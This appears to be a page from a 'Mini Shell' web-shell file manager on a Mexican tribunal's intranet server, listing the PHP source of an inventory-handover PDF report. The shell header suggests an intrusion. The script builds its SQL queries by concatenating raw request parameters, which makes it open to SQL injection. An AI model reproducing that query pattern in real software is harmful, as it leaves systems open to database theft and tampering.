%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /home/tjamichg/intranet.tjamich.gob.mx/intranet/sistemas/administracion/
Upload File :
Create Path :
Current File : /home/tjamichg/intranet.tjamich.gob.mx/intranet/sistemas/administracion/pdfreporteresguardobaja.php

<?php



if (!isset($controller)) {

    require 'flowing_blockv3.php';

    include "../../config/config.php";

    $conf = new Configuracion();

    $conf->conectarBD();

}



// Datos declaracion

$resguardador = isset($_REQUEST['resguardador']) ? $_REQUEST['resguardador'] : 0;

$id_area = isset($_REQUEST['id_area']) ? $_REQUEST['id_area'] : 0;

$capv = isset($_REQUEST['cap']) ? $_REQUEST['cap'] : 0;



$qCap = " 1 = 1 ";  

$cap = '';

/*

if($capv == 5000)

{

    $qCap = " i.capitulo = '5000' ";    

    $cap = 'CAPITULO: 5000';

}*/



if ($resguardador == 'A') {

 $consultarh = "SELECT i.*, e.rfc, e.id, a.area, CONCAT(e.nombre, ' ', e.apellido1, ' ', e.apellido2) AS nombree, p.puesto

FROM inventario_inventario i

LEFT JOIN tjam_empleados e ON (i.id_resguardante = e.id)

LEFT JOIN tjam_areas a ON (i.id_area = a.id_area)

LEFT JOIN tjam_puestos p ON (e.id_puesto = p.id_puesto)

LEFT JOIN inventario_estatus s ON (i.estatus = s.letra)

WHERE i.habilitado = 1 AND i.estatus IN ('A','M')  AND $qCap AND i.id_area = $id_area

    ORDER BY i.clave ASC";

    

    

    

} else /*if ($resguardador == '0' || $resguardador == '' || $resguardador == NULL) {

    $qqq = 'AND i.id_resguardante = 0';

    

    $consultarh = "SELECT i.*, e.rfc, e.id, a.area, CONCAT(e.nombre, ' ', e.apellido1, ' ', e.apellido2) AS nombree, p.puesto

FROM inventario_inventario i

LEFT JOIN tjam_empleados e ON (i.id_resguardante = e.id)

LEFT JOIN tjam_areas a ON (e.id_area = a.id_area)

LEFT JOIN tjam_puestos p ON (e.id_puesto = p.id_puesto)

LEFT JOIN inventario_estatus s ON (i.estatus = s.letra)

WHERE i.habilitado = 1 AND i.estatus IN ('A','M') $qqq

    ORDER BY i.clave ASC";

} else */{

    

    if($id_area > 0)

     $qqq = 'AND i.id_resguardante = ' . $resguardador . ' AND i.id_area= '.$id_area;   

    else

        $qqq = 'AND i.id_resguardante = ' . $resguardador;

    $consultarh = "SELECT i.*, e.rfc, e.id, a.area, CONCAT(e.nombre, ' ', e.apellido1, ' ', e.apellido2) AS nombree, p.puesto

FROM inventario_inventario i

LEFT JOIN tjam_empleados e ON (i.id_resguardante = e.id)

LEFT JOIN tjam_areas a ON (i.id_area = a.id_area)

LEFT JOIN tjam_puestos p ON (e.id_puesto = p.id_puesto)

LEFT JOIN inventario_estatus s ON (i.estatus = s.letra)

WHERE i.habilitado = 1  AND $qCap AND i.estatus IN ('A','M') $qqq

    ORDER BY i.clave ASC";

}



//CONSULTA



$rst1 = $conf->consulta($consultarh);



if ($resguardador == 'A') {

    $rrr = 'TODOS';

} elseif ($resguardador == '0' || $resguardador == '' || $resguardador == NULL) {

    $rrr = 'SIN RESGUARDANTE';

} else {

    $rrr = '' . $rst1[0]['nombree'] . '';

}



$fecha2 = date("Y-m-d");

//$fecha2 = '2023-01-12';

$fecha2_fecha = explode('-', $fecha2);

$fecha2_fecha2y = $fecha2_fecha[0];

$fecha2_fecha2m   = $fecha2_fecha[1];

// $fecha2_fecha2mtexto = mesATexto($fecha2_fecha2m);

$fecha2_fecha2d  = $fecha2_fecha[2];

// $fecha2_fechatexto =   fechaATexto($fecha2);



// PROBLEMA DE SEGURIDAD, NO CARGA METODO FUNCIONES COMO MES TEXTO O PROPIAS

switch ($fecha2_fecha2m) {

    case "01":

        $fecha2_fecha2mtexto = "ENERO";

        break;

    case "02":

        $fecha2_fecha2mtexto = "FEBRERO";

        break;

    case "03":

        $fecha2_fecha2mtexto = "MARZO";

        break;

    case "04":

        $fecha2_fecha2mtexto = "ABRIL";

        break;

    case "05":

        $fecha2_fecha2mtexto = "MAYO";

        break;

    case "06":

        $fecha2_fecha2mtexto = "JUNIO";

        break;

    case "07":

        $fecha2_fecha2mtexto = "JULIO";

        break;

    case "08":

        $fecha2_fecha2mtexto = "AGOSTO";

        break;

    case "09":

        $fecha2_fecha2mtexto = "SEPTIEMBRE";

        break;

    case "10":

        $fecha2_fecha2mtexto = "OCTUBRE";

        break;

    case "11":

        $fecha2_fecha2mtexto = "NOVIEMBRE";

        break;

    case "12":

        $fecha2_fecha2mtexto = "DICIEMBRE";

        break;

    default:

        break;

}









//IMAGE (RUTA,X,Y,ANCHO,ALTO,EXTEN)

//COMIENZA CONSTRUCIÓN DE PDF

$pdf = new PDF_FlowingBlock();



$pdf->AliasNbPages();

$pdf->AddPage('L');



$pdf->Image('./tjam.png', '10', '10', '20', '20', 'PNG');

$pdf->Image('./escudo.png', '275', '10', '15', '20', 'PNG');



// Cabecera

$pdf->SetFillColor(31, 73, 125);

$pdf->SetFont('helvetica', 'B', 10);

$pdf->SetTextColor(0, 0, 0);

$pdf->Cell(25, 1, utf8_decode(''), 0, 1, 'C', 0);

$pdf->Cell(25, 5, utf8_decode(''), 0, 0, 'C', 0);

$pdf->Cell(230, 5, utf8_decode('TRIBUNAL DE JUSTICIA ADMINISTRATIVA DEL ESTADO DE MICHOACÁN DE OCAMPO'), 0, 1, 'C', 0);

$pdf->Cell(25, 5, utf8_decode(''), 0, 0, 'C', 0);

$pdf->Cell(230, 5, utf8_decode('ENTREGA DE BIENES MUEBLES Y EQUIPO DE CÓMPUTO'), 0, 1, 'C', 0);

$pdf->WriteHTML('<br><br>');



$pdf->SetFillColor(31, 73, 125);

$pdf->SetFont('helvetica', 'B', 10);

$pdf->SetTextColor(255, 255, 255);

$pdf->Cell(35, 5, utf8_decode('UPP:'), 0, 0, 'C', 1);

$pdf->SetFont('helvetica', '', 8);

$pdf->SetTextColor(0, 0, 0);

$pdf->Cell(105, 5, utf8_decode('044'), 1, 0, 'C', 0);

$pdf->SetFont('helvetica', 'B', 10);

$pdf->SetTextColor(255, 255, 255);

$pdf->Cell(35, 5, utf8_decode('AREA:'), 0, 0, 'C', 1);

$pdf->SetFont('helvetica', '', 8);

$pdf->SetTextColor(0, 0, 0);

$pdf->Cell(105, 5, utf8_decode('' . $rst1[0]['area'] . ''), 1, 1, 'C', 0);

$pdf->SetFont('helvetica', 'B', 10);

$pdf->SetTextColor(255, 255, 255);

$pdf->Cell(35, 5, utf8_decode('RESGUARDANTE:'), 0, 0, 'C', 1);

$pdf->SetFont('helvetica', '', 8);

$pdf->SetTextColor(0, 0, 0);

$pdf->Cell(105, 5, utf8_decode('' . $rst1[0]['nombree'] . ''), 1, 0, 'C', 0);

$pdf->SetFont('helvetica', 'B', 10);

$pdf->SetTextColor(255, 255, 255);

$pdf->Cell(35, 5, utf8_decode('LUGAR Y FECHA:'), 0, 0, 'C', 1);

$pdf->SetFont('helvetica', '', 8);

$pdf->SetTextColor(0, 0, 0);

$pdf->Cell(105, 5, utf8_decode('MORELIA, MICHOACÁN A ' . $fecha2_fecha2d . ' DE ' . $fecha2_fecha2mtexto . ' DE ' . $fecha2_fecha2y), 1, 1, 'C', 0);

$pdf->WriteHTML('<br>');



$pdf->SetFont('helvetica', 'B', 8);

$pdf->Cell(280, 5, utf8_decode('A) BIENES PATRIMONIALES '.$cap), 0, 1, 'C', 0);



$pdf->SetFillColor(31, 73, 125);

$pdf->SetFont('helvetica', '', 9);

$pdf->SetTextColor(255, 255, 255);

$pdf->Cell(10, 5, utf8_decode('NO.'), 0, 0, 'C', 1);

$pdf->Cell(70, 5, utf8_decode('DESCRIPCIÓN DEL ARTÍCULO'), 0, 0, 'C', 1);

$pdf->Cell(30, 5, utf8_decode('NUMERO DE'), 0, 0, 'C', 1);



$pdf->Cell(45, 5, utf8_decode('SERIE'), 0, 0, 'C', 1);

$pdf->Cell(30, 5, utf8_decode('MARCA'), 0, 0, 'C', 1);

$pdf->Cell(35, 5, utf8_decode('MODELO'), 0, 0, 'C', 1);

$pdf->Cell(40, 5, utf8_decode('UBICACIÓN'), 0, 0, 'C', 1);

$pdf->Cell(20, 5, utf8_decode('VALOR'), 0, 1, 'C', 1);

//Segunda cabecera

$pdf->Cell(10, 5, utf8_decode(''), 0, 0, 'C', 1);

$pdf->Cell(70, 5, utf8_decode(''), 0, 0, 'C', 1);

$pdf->Cell(30, 5, utf8_decode('INVENTARIO'), 0, 0, 'C', 1);

$pdf->Cell(45, 5, utf8_decode(''), 0, 0, 'C', 1);

$pdf->Cell(30, 5, utf8_decode(''), 0, 0, 'C', 1);

$pdf->Cell(35, 5, utf8_decode(''), 0, 0, 'C', 1);

$pdf->Cell(40, 5, utf8_decode(''), 0, 0, 'C', 1);

$pdf->Cell(20, 5, utf8_decode('HISTÓRICO'), 0, 1, 'C', 1);



$pdf->SetFont('helvetica', '', 9);

$pdf->SetTextColor(0, 0, 0);

$suma = 0;

$filas = 0;



// FILAS

// FILAS

// FILAS

for ($i = 0; $i < count($rst1); $i++) {



    $j = $i + 1;

    $valor1 = strlen($rst1[$i]['descripcion']) / 39;

    $valor2 = strlen($rst1[$i]['serie']) / 26;

    $valor3 = strlen($rst1[$i]['marca']) / 20;

    $valor4 = strlen($rst1[$i]['modelo']) / 23;

    $valor5 = strlen($rst1[$i]['ubicacion_fisica']) / 26;



    // INSTERAR FILA

    // INSTERAR FILA

    // INSTERAR FILA

    if ($valor1 > '1' || $valor2 > '1' || $valor3 > '1' || $valor4 > '1' || $valor5 > '1') {



        // CALCULAR LONGITUD NIVEL 2 RENGLONES MAXIMO (PARA 3 RENGLONES SE DEBERÁ SOLICITAR UN PDF NUEVO)

        $filas = $filas + 1;



        if ($valor1 > '2') {

            $reglon = 15;

        } else {

            $reglon = 10;

        }



        // CALCULAR SALTO DE PAGINA

        // CALCULAR SALTO DE PAGINA

        // CALCULAR SALTO DE PAGINA

        if ($filas >= 18 && $i < count($rst1)) {



            $filas = 0;



            $pdf->AddPage('L');



            $pdf->Image('./tjam.png', '10', '10', '20', '20', 'PNG');

            $pdf->Image('./escudo.png', '275', '10', '15', '20', 'PNG');



            // Cabecera

            $pdf->SetFillColor(31, 73, 125);

            $pdf->SetFont('helvetica', 'B', 10);

            $pdf->SetTextColor(0, 0, 0);

            $pdf->Cell(25, 1, utf8_decode(''), 0, 1, 'C', 0);

            $pdf->Cell(25, 5, utf8_decode(''), 0, 0, 'C', 0);

            $pdf->Cell(230, 5, utf8_decode('TRIBUNAL DE JUSTICIA ADMINISTRATIVA DEL ESTADO DE MICHOACÁN DE OCAMPO'), 0, 1, 'C', 0);

            $pdf->Cell(25, 5, utf8_decode(''), 0, 0, 'C', 0);

            $pdf->Cell(230, 5, utf8_decode('RESGUARDO DE BIENES MUEBLES Y EQUIPO DE CÓMPUTO'), 0, 1, 'C', 0);

            $pdf->WriteHTML('<br><br>');





            $pdf->SetFillColor(31, 73, 125);

            $pdf->SetFont('helvetica', '', 9);

            $pdf->SetTextColor(255, 255, 255);

            $pdf->Cell(10, 5, utf8_decode('NO.'), 0, 0, 'C', 1);

            $pdf->Cell(70, 5, utf8_decode('DESCRIPCIÓN DEL ARTÍCULO'), 0, 0, 'C', 1);

            $pdf->Cell(30, 5, utf8_decode('NUMERO DE'), 0, 0, 'C', 1);

            $pdf->Cell(25, 5, utf8_decode('FECHA DE'), 0, 0, 'C', 1);

            $pdf->Cell(45, 5, utf8_decode('SERIE'), 0, 0, 'C', 1);

            $pdf->Cell(30, 5, utf8_decode('MARCA'), 0, 0, 'C', 1);

            $pdf->Cell(35, 5, utf8_decode('MODELO'), 0, 0, 'C', 1);

            $pdf->Cell(15, 5, utf8_decode('UBICACIÓN'), 0, 0, 'C', 1);

            $pdf->Cell(20, 5, utf8_decode('VALOR'), 0, 1, 'C', 1);

            //Segunda cabecera

            $pdf->Cell(10, 5, utf8_decode(''), 0, 0, 'C', 1);

            $pdf->Cell(70, 5, utf8_decode(''), 0, 0, 'C', 1);

            $pdf->Cell(30, 5, utf8_decode('INVENTARIO'), 0, 0, 'C', 1);

            $pdf->Cell(25, 5, utf8_decode('ADQUISICIÓN'), 0, 0, 'C', 1);

            $pdf->Cell(45, 5, utf8_decode(''), 0, 0, 'C', 1);

            $pdf->Cell(30, 5, utf8_decode(''), 0, 0, 'C', 1);

            $pdf->Cell(35, 5, utf8_decode(''), 0, 0, 'C', 1);

            $pdf->Cell(15, 5, utf8_decode(''), 0, 0, 'C', 1);

            $pdf->Cell(20, 5, utf8_decode('HISTÓRICO'), 0, 1, 'C', 1);



            $pdf->SetFont('helvetica', '', 9);

            $pdf->SetTextColor(0, 0, 0);

        } else {

            # code...

        }



        // LONGITUDES DE REGISTROS

        $amulti1a = substr($rst1[$i]['descripcion'], 0, 38);

        $along = strlen($rst1[$i]['descripcion']) - 38;

        $amulti2 = substr($rst1[$i]['descripcion'], -$along);

        $amulti1a2 = substr($rst1[$i]['descripcion'], 0, 39);

        $along2 = strlen($rst1[$i]['descripcion']) - 39;

        $amulti22 = substr($rst1[$i]['descripcion'], -$along2);

        if (substr($rst1[$i]['descripcion'], 38, 0) == ' ' || substr($rst1[$i]['descripcion'], 38, 0) == '-') {

            $amulti1a1 = substr($rst1[$i]['descripcion'], 0, 38);

            $amulti1b = $amulti1a1;

        } else {

            $amulti1b = $amulti1a . '';

        }

        if (substr($rst1[$i]['descripcion'], 44, 0) == ' ' || substr($rst1[$i]['descripcion'], 44, 0) == '-') {

            $amulti1a21 = substr($rst1[$i]['descripcion'], 0, 43);

            $amulti1b2 = $amulti1a21;

        } else {

            $amulti1b2 = $amulti1a2 . '-';

        }



        // Fila triple

        if ($valor1 > '2') {

            $corte = '' . $amulti22 . '';

            //Cortando linea 2

            $a3multi1a = substr($corte, 0, 38);

            $a3long = strlen($corte) - 38;

            $a3multi2 = substr($corte, -$a3long);

            $a3multi1a2 = substr($corte, 0, 39);

            $a3long2 = strlen($corte) - 39;

            // Residuo linea 2

            $residuo3 = substr($corte, -$a3long2);

            if (substr($corte, 38, 0) == ' ' || substr($corte, 38, 0) == '-') {

                $a3multi1a1 = substr($corte, 0, 38);

                $amulti22 = $a3multi1a1;

            } else {

                $amulti22 = $a3multi1a . '';

            }

            if (substr($corte, 44, 0) == ' ' || substr($corte, 44, 0) == '-') {

                $a3multi1a21 = substr($corte, 0, 43);

                $residuo3b2 = $a3multi1a21;

            } else {

                $residuo3b2 = $a3multi1a2 . '-';

            }

        } else {

            // Omitir

            $amulti22 = '' . $amulti22 . '';

        }





        $bmulti1a = substr($rst1[$i]['serie'], 0, 25);

        $blong = strlen($rst1[$i]['serie']) - 25;

        $bmulti2 = substr($rst1[$i]['serie'], -$blong);

        $bmulti1a2 = substr($rst1[$i]['serie'], 0, 26);

        $blong2 = strlen($rst1[$i]['serie']) - 26;

        $bmulti22 = substr($rst1[$i]['serie'], -$blong2);

        if (substr($rst1[$i]['serie'], 25, 0) == ' ' || substr($rst1[$i]['serie'], 25, 0) == '-') {

            $bmulti1a1 = substr($rst1[$i]['serie'], 0, 25);

            $bmulti1b = $bmulti1a1;

        } else {

            $bmulti1b = $bmulti1a . '';

        }

        if (substr($rst1[$i]['serie'], 31, 0) == ' ' || substr($rst1[$i]['serie'], 31, 0) == '-') {

            $bmulti1a21 = substr($rst1[$i]['serie'], 0, 30);

            $bmulti1b2 = $bmulti1a21;

        } else {

            $bmulti1b2 = $bmulti1a2 . '-';

        }



        $cmulti1a = substr($rst1[$i]['marca'], 0, 19);

        $clong = strlen($rst1[$i]['marca']) - 19;

        $cmulti2 = substr($rst1[$i]['marca'], -$clong);

        $cmulti1a2 = substr($rst1[$i]['marca'], 0, 20);

        $clong2 = strlen($rst1[$i]['marca']) - 20;

        $cmulti22 = substr($rst1[$i]['marca'], -$clong2);

        if (substr($rst1[$i]['marca'], 19, 0) == ' ' || substr($rst1[$i]['marca'], 19, 0) == '-') {

            $cmulti1a1 = substr($rst1[$i]['marca'], 0, 19);

            $cmulti1b = $cmulti1a1;

        } else {

            $cmulti1b = $cmulti1a . '';

        }

        if (substr($rst1[$i]['marca'], 25, 0) == ' ' || substr($rst1[$i]['marca'], 25, 0) == '-') {

            $cmulti1a21 = substr($rst1[$i]['marca'], 0, 24);

            $cmulti1b2 = $cmulti1a21;

        } else {

            $cmulti1b2 = $cmulti1a2 . '-';

        }



        $dmulti1a = substr($rst1[$i]['modelo'], 0, 19);

        $dlong = strlen($rst1[$i]['modelo']) - 19;

        $dmulti2 = substr($rst1[$i]['modelo'], -$dlong);

        $dmulti1a2 = substr($rst1[$i]['modelo'], 0, 20);

        $dlong2 = strlen($rst1[$i]['modelo']) - 20;

        $dmulti22 = substr($rst1[$i]['modelo'], -$dlong2);

        if (substr($rst1[$i]['modelo'], 19, 0) == ' ' || substr($rst1[$i]['modelo'], 19, 0) == '-') {

            $dmulti1a1 = substr($rst1[$i]['modelo'], 0, 19);

            $dmulti1b = $dmulti1a1;

        } else {

            $dmulti1b = $dmulti1a . '';

        }

        if (substr($rst1[$i]['modelo'], 25, 0) == ' ' || substr($rst1[$i]['modelo'], 25, 0) == '-') {

            $dmulti1a21 = substr($rst1[$i]['modelo'], 0, 24);

            $dmulti1b2 = $dmulti1a21;

        } else {

            $dmulti1b2 = $dmulti1a2 . '-';

        }



        $emulti1a = substr($rst1[$i]['ubicacion_fisica'], 0, 25);

        $elong = strlen($rst1[$i]['ubicacion_fisica']) - 25;

        $emulti2 = substr($rst1[$i]['ubicacion_fisica'], -$blong);

        $emulti1a2 = substr($rst1[$i]['ubicacion_fisica'], 0, 26);

        $elong2 = strlen($rst1[$i]['ubicacion_fisica']) - 26;

        $emulti22 = substr($rst1[$i]['ubicacion_fisica'], -$blong2);

        if (substr($rst1[$i]['ubicacion_fisica'], 25, 0) == ' ' || substr($rst1[$i]['ubicacion_fisica'], 25, 0) == '-') {

            $emulti1a1 = substr($rst1[$i]['ubicacion_fisica'], 0, 25);

            $emulti1b = $emulti1a1;

        } else {

            $emulti1b = $emulti1a . '';

        }

        if (substr($rst1[$i]['ubicacion_fisica'], 31, 0) == ' ' || substr($rst1[$i]['ubicacion_fisica'], 31, 0) == '-') {

            $emulti1a21 = substr($rst1[$i]['ubicacion_fisica'], 0, 30);

            $emulti1b2 = $emulti1a21;

        } else {

            $emulti1b2 = $emulti1a2 . '-';

        }





        //MARCOS VACIOS EXTENDIDOS

        //MARCOS VACIOS EXTENDIDOS

        //MARCOS VACIOS EXTENDIDOS

        $pdf->Cell(10, $reglon, utf8_decode(''), 1, 0, 'C', 0);

        $pdf->Cell(70, $reglon, utf8_decode(''), 1, 0, 'C', 0);

        $pdf->Cell(30, $reglon, utf8_decode(''), 1, 0, 'C', 0);

        $pdf->Cell(45, $reglon, utf8_decode(''), 1, 0, 'C', 0);

        $pdf->Cell(30, $reglon, utf8_decode(''), 1, 0, 'C', 0);

        $pdf->Cell(35, $reglon, utf8_decode(''), 1, 0, 'C', 0);

        $pdf->Cell(40, $reglon, utf8_decode(''), 1, 0, 'C', 0);

        $pdf->Cell(20, $reglon, utf8_decode(''), 1, 1, 'C', 0);

        $pdf->Ln(-$reglon);



        //DATOS DE MARCOS EXTENDIDOS

        //DATOS DE MARCOS EXTENDIDOS

        //DATOS DE MARCOS EXTENDIDOS

        $pdf->SetFont('helvetica', '', 9);

        $pdf->Cell(10, 5, utf8_decode($j), 0, 0, 'C', 0);

        $pdf->SetFont('helvetica', '', 8);

        $pdf->Cell(70, 5, utf8_decode($amulti1b), 0, 0, 'C', 0);

        $pdf->SetFont('helvetica', '', 9);

        $pdf->Cell(30, 5, utf8_decode($rst1[$i]['clave']), 0, 0, 'C', 0);

        $pdf->SetFont('helvetica', '', 8);

        $pdf->Cell(45, 5, utf8_decode($bmulti1b), 0, 0, 'C', 0);

        $pdf->Cell(30, 5, utf8_decode($cmulti1b), 0, 0, 'C', 0);

        $pdf->Cell(35, 5, utf8_decode($dmulti1b), 0, 0, 'C', 0);

        $pdf->Cell(40, 5, utf8_decode($emulti1b), 0, 0, 'C', 0);

        $pdf->SetFont('helvetica', '', 9);

        $pdf->Cell(20, 5, utf8_decode(formatMoney($rst1[$i]['costo'])), 0, 1, 'C', 0);



        $pdf->SetFont('helvetica', '', 9);

        $pdf->Cell(10, 5, utf8_decode(''), 0, 0, 'C', 0);

        $pdf->SetFont('helvetica', '', 8);

        $pdf->Cell(70, 5, utf8_decode($amulti22), 0, 0, 'C', 0);

        $pdf->Cell(30, 5, utf8_decode(''), 0, 0, 'C', 0);

        $pdf->Cell(45, 5, utf8_decode($bmulti22), 0, 0, 'C', 0);

        $pdf->Cell(30, 5, utf8_decode($cmulti22), 0, 0, 'C', 0);

        $pdf->Cell(35, 5, utf8_decode($dmulti22), 0, 0, 'C', 0);

        $pdf->Cell(40, 5, utf8_decode($emulti22), 0, 0, 'C', 0);

        $pdf->Cell(20, 5, utf8_decode(''), 0, 1, 'C', 0);



        if ($valor1 > '2') {

            $pdf->SetFont('helvetica', '', 9);

            $pdf->Cell(10, 5, utf8_decode(''), 0, 0, 'C', 0);

            $pdf->SetFont('helvetica', '', 8);

            $pdf->Cell(70, 5, utf8_decode($residuo3), 0, 0, 'C', 0);

            $pdf->Cell(30, 5, utf8_decode(''), 0, 0, 'C', 0);

            $pdf->Cell(45, 5, utf8_decode(''), 0, 0, 'C', 0);

            $pdf->Cell(30, 5, utf8_decode(''), 0, 0, 'C', 0);

            $pdf->Cell(35, 5, utf8_decode(''), 0, 0, 'C', 0);

            $pdf->Cell(40, 5, utf8_decode(''), 0, 0, 'C', 0);

            $pdf->Cell(20, 5, utf8_decode(''), 0, 1, 'C', 0);



            $filas = $filas + 1;

        } else {

            // Omitir

        }



        // if (strlen($articulo[$i]) > '60') {

        //     $pdf->SetFont('Arial', '', 8);

        //     $pdf->Cell(115, 5, utf8_decode($multi1b2), 0, 0, 'C', 0);

        //     $articulo[$i] = '' . $multi22 . '';

        //     $pdf->Ln(5);

        //     $imprimir = 'SI';

        //     $pdf->Cell(15, 0, utf8_decode(''), 0, 0, 'C', 0);

        // } else {

        //     $pdf->Cell(115, 5, utf8_decode($multi1b), 0, 0, 'C', 0);

        //     $imprimir = 'NO';

        // }

    } else {

        //MARCOS NORMALES

        $filas = $filas + 1;



        // CALCULAR SALTO DE PAGINA

        // CALCULAR SALTO DE PAGINA

        // CALCULAR SALTO DE PAGINA

        if ($filas >= 18 && $i < count($rst1)) {



            $filas = 0;



            // SEGUNDA PAGINA

            // SEGUNDA PAGINA

            // SEGUNDA PAGINA





            $pdf->AddPage('L');



            $pdf->Image('./tjam.png', '10', '10', '20', '20', 'PNG');

            $pdf->Image('./escudo.png', '275', '10', '15', '20', 'PNG');



            // Cabecera

            $pdf->SetFillColor(31, 73, 125);

            $pdf->SetFont('helvetica', 'B', 10);

            $pdf->SetTextColor(0, 0, 0);

            $pdf->Cell(25, 1, utf8_decode(''), 0, 1, 'C', 0);

            $pdf->Cell(25, 5, utf8_decode(''), 0, 0, 'C', 0);

            $pdf->Cell(230, 5, utf8_decode('TRIBUNAL DE JUSTICIA ADMINISTRATIVA DEL ESTADO DE MICHOACÁN DE OCAMPO'), 0, 1, 'C', 0);

            $pdf->Cell(25, 5, utf8_decode(''), 0, 0, 'C', 0);

            $pdf->Cell(230, 5, utf8_decode('RESGUARDO DE BIENES MUEBLES Y EQUIPO DE CÓMPUTO'), 0, 1, 'C', 0);

            $pdf->WriteHTML('<br><br>');



            $pdf->SetFillColor(31, 73, 125);

            $pdf->SetFont('helvetica', '', 9);

            $pdf->SetTextColor(255, 255, 255);

            $pdf->Cell(10, 5, utf8_decode('NO.'), 0, 0, 'C', 1);

            $pdf->Cell(70, 5, utf8_decode('DESCRIPCIÓN DEL ARTÍCULO'), 0, 0, 'C', 1);

            $pdf->Cell(30, 5, utf8_decode('NUMERO DE'), 0, 0, 'C', 1);

            $pdf->Cell(45, 5, utf8_decode('SERIE'), 0, 0, 'C', 1);

            $pdf->Cell(30, 5, utf8_decode('MARCA'), 0, 0, 'C', 1);

            $pdf->Cell(35, 5, utf8_decode('MODELO'), 0, 0, 'C', 1);

            $pdf->Cell(40, 5, utf8_decode('UBICACIÓN'), 0, 0, 'C', 1);

            $pdf->Cell(20, 5, utf8_decode('VALOR'), 0, 1, 'C', 1);

            //Segunda cabecera

            $pdf->Cell(10, 5, utf8_decode(''), 0, 0, 'C', 1);

            $pdf->Cell(70, 5, utf8_decode(''), 0, 0, 'C', 1);

            $pdf->Cell(30, 5, utf8_decode('INVENTARIO'), 0, 0, 'C', 1);

            $pdf->Cell(45, 5, utf8_decode(''), 0, 0, 'C', 1);

            $pdf->Cell(30, 5, utf8_decode(''), 0, 0, 'C', 1);

            $pdf->Cell(35, 5, utf8_decode(''), 0, 0, 'C', 1);

            $pdf->Cell(40, 5, utf8_decode(''), 0, 0, 'C', 1);

            $pdf->Cell(20, 5, utf8_decode('HISTÓRICO'), 0, 1, 'C', 1);



            $pdf->SetFont('helvetica', '', 9);

            $pdf->SetTextColor(0, 0, 0);

        } else {

            # code...

        }



        $pdf->SetFont('helvetica', '', 9);

        $pdf->Cell(10, 5, utf8_decode($j), 1, 0, 'C', 0);

        $pdf->SetFont('helvetica', '', 8);

        $pdf->Cell(70, 5, utf8_decode($rst1[$i]['descripcion']), 1, 0, 'C', 0);

        $pdf->SetFont('helvetica', '', 9);

        $pdf->Cell(30, 5, utf8_decode($rst1[$i]['clave']), 1, 0, 'C', 0);

        $pdf->SetFont('helvetica', '', 8);

        $pdf->Cell(45, 5, utf8_decode($rst1[$i]['serie']), 1, 0, 'C', 0);

        $pdf->Cell(30, 5, utf8_decode($rst1[$i]['marca']), 1, 0, 'C', 0);

        $pdf->Cell(35, 5, utf8_decode($rst1[$i]['modelo']), 1, 0, 'C', 0);

        $pdf->Cell(40, 5, utf8_decode($rst1[$i]['ubicacion_fisica']), 1, 0, 'C', 0);

        $pdf->SetFont('helvetica', '', 9);

        $pdf->Cell(20, 5, utf8_decode(formatMoney($rst1[$i]['costo'])), 1, 1, 'C', 0);

    }



    $suma = $suma + $rst1[$i]['costo'];

}

$pdf->SetFont('helvetica', 'B', 9);

$pdf->Cell(220, 5, utf8_decode(''), 0, 0, 'C', 0);

$pdf->SetFont('helvetica', 'B', 8);

$pdf->Cell(40, 5, utf8_decode('TOTAL VALOR HISTÓRICO'), 1, 0, 'C', 0);

$pdf->SetFont('helvetica', 'B', 9);

$pdf->Cell(20, 5, utf8_decode(formatMoney($suma)), 1, 1, 'C', 0);



$pdf->Cell(25, 1, utf8_decode(''), 0, 1, 'C', 0);









// ULTIMA PAGINA

// ULTIMA PAGINA

// ULTIMA PAGINA

$pdf->AddPage('L');

$pdf->Image('./tjam.png', '10', '10', '20', '20', 'PNG');

$pdf->Image('./escudo.png', '275', '10', '15', '20', 'PNG');



// Cabecera

$pdf->SetFillColor(31, 73, 125);

$pdf->SetFont('helvetica', 'B', 10);

$pdf->SetTextColor(0, 0, 0);

$pdf->Cell(25, 1, utf8_decode(''), 0, 1, 'C', 0);

$pdf->Cell(25, 5, utf8_decode(''), 0, 0, 'C', 0);

$pdf->Cell(230, 5, utf8_decode('TRIBUNAL DE JUSTICIA ADMINISTRATIVA DEL ESTADO DE MICHOACÁN DE OCAMPO'), 0, 1, 'C', 0);

$pdf->Cell(25, 5, utf8_decode(''), 0, 0, 'C', 0);

$pdf->Cell(230, 5, utf8_decode('RESGUARDO DE BIENES MUEBLES Y EQUIPO DE CÓMPUTO'), 0, 1, 'C', 0);

$pdf->WriteHTML('<br><br>');



$pdf->SetTextColor(0, 0, 0);

$pdf->Cell(280, 5, utf8_decode('OBSERVACIONES'), 0, 1, 'C', 0);

$pdf->Cell(280, 25, utf8_decode(''), 1, 1, 'C', 0);

$pdf->WriteHTML('<br>');



$pdf->SetFont('helvetica', '', 9);

$pdf->newFlowingBlock(280, 5, 'J');

$pdf->WriteFlowingBlock(utf8_decode('Los bienes muebles descritos en el presente resguardo consistente en el número total de páginas descritas en el presente formato, los cuales entrego en buen estado a la Secretaría Administrativa y Organo Interno de Control del Tribunal de Justicia Administrativa. Firmando por duplicado al margen para los efectos legales correspondientes.'));

$pdf->finishFlowingBlock();



$pdf->WriteHTML('<br>');

$pdf->WriteHTML('<br>');

$pdf->Cell(25, 1, utf8_decode(''), 0, 1, 'C', 0);



$pdf->SetFont('helvetica', 'B', 9);

$pdf->Cell(280, 5, utf8_decode('ENTREGÓ'), 0, 1, 'C', 0);

$pdf->WriteHTML('<br>');



if($resguardador != 79)

{

    $pdf->SetFont('helvetica', '', 9);

    $pdf->Cell(280, 5, utf8_decode('______________________________________________'), 0, 1, 'C', 0);

    $pdf->SetFont('helvetica', 'B', 9);

    $pdf->Cell(109, 5, utf8_decode(''), 0, 0, 'C', 0);

    $pdf->Cell(60, 5, utf8_decode('' . $rst1[0]['nombree'] . ''), 0, 1, 'C', 0);

    

    $pdf->Cell(109, 5, utf8_decode(''), 0, 0, 'C', 0);

    $pdf->Cell(60, 5, utf8_decode('' . $rst1[0]['puesto'] . ''), 0, 1, 'C', 0);

}

else

{

    $pdf->SetFont('helvetica', '', 9);

    $pdf->Cell(280, 5, utf8_decode('______________________________________________'), 0, 1, 'C', 0);

    $pdf->SetFont('helvetica', 'B', 9);

    $pdf->Cell(109, 5, utf8_decode(''), 0, 0, 'C', 0);

    $pdf->Cell(60, 5, utf8_decode('' . $rst1[0]['nombree'] . ''), 0, 1, 'C', 0);

    

    $pdf->Cell(109, 5, utf8_decode(''), 0, 0, 'C', 0);

    $pdf->Cell(60, 5, utf8_decode('' . $rst1[0]['puesto'] . ''), 0, 1, 'C', 0);

$pdf->WriteHTML('<br>');

$pdf->WriteHTML('<br>');

    $pdf->SetFont('helvetica', '', 9);

